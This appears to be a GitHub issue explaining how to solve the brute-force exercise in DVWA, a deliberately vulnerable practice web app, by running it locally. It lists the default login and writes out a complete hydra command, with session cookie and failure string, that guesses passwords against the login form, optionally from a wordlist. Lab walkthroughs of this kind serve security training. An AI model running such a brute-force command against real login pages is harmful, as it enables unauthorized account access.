SOLUTION: How to solve DVWA /vulnerabilities/brute/ #612
Description
As many people are not able to solve this easily - this is how to do it:
- Log into DVWA (login: admin, password: password)
- Collect your PHPSESSID cookie (e.g. look in your browser's cookie jar, use zaproxy, right mouseclick "inspect accessible properties" in firefox, etc.)
hydra -l admin -p password 'http-get-form://127.0.0.1/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie\:PHPSESSID=61p8up0thkqjft9vn5osv6afk2; security=low:F=Username and/or password incorrect'- profit
you can replace -p password with with -P and a file containing passwords, e.g. -P passwords.txt
Note: you need hydra 9.0 - or better 9,2+. hydra 9.1 has a bug in the module and does not work.
If your Linux distribution comes with an old version, contact the package maintainer or compile hydra yourself.